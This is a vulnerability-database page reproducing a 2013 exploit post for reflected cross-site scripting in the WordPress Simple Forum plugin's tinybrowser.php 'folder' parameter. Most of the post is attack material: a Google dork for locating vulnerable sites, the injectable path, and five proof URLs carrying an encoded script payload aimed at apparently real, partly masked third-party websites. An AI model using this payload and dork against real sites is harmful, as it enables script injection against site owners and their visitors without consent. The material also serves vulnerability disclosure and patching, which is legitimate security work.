Wordpress simple forum Cross site scripting Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044398 漏洞类型
发布时间 2013-09-24 更新时间 2013-09-24
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013090168
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#********************************************************************************
# Exploit Title : Wordpress simple forum Cross site scripting Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Software Link : http://wordpress.org
#
# Tested on: Windows 7 , Linux
#
# Google Dork : inurl:/wp-content/plugins/simple-forum
#
# Date: 2013/09/23
#
--------------------------------------------------------------------
# Exploit : Cross site scripting
#
# Location : [Target]/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/tinybrowser.php?type=image&folder=[XSS]
#
#
# Proof:
#
# http://www.legXs.info/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/tinybrowser.php?type=image&folder=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://wwX.org/home/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/tinybrowser.php?type=image&folder=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://napoXxi.cz/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/tinybrowser.php?type=image&folder=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://mamXournal.ru/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/tinybrowser.php?type=image&folder=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
#
# http://www.proXic.com/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/tinybrowser.php?type=image&folder=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
#
#
--------------------------------------------------------------------
######################
discovered by : ACC3SS
######################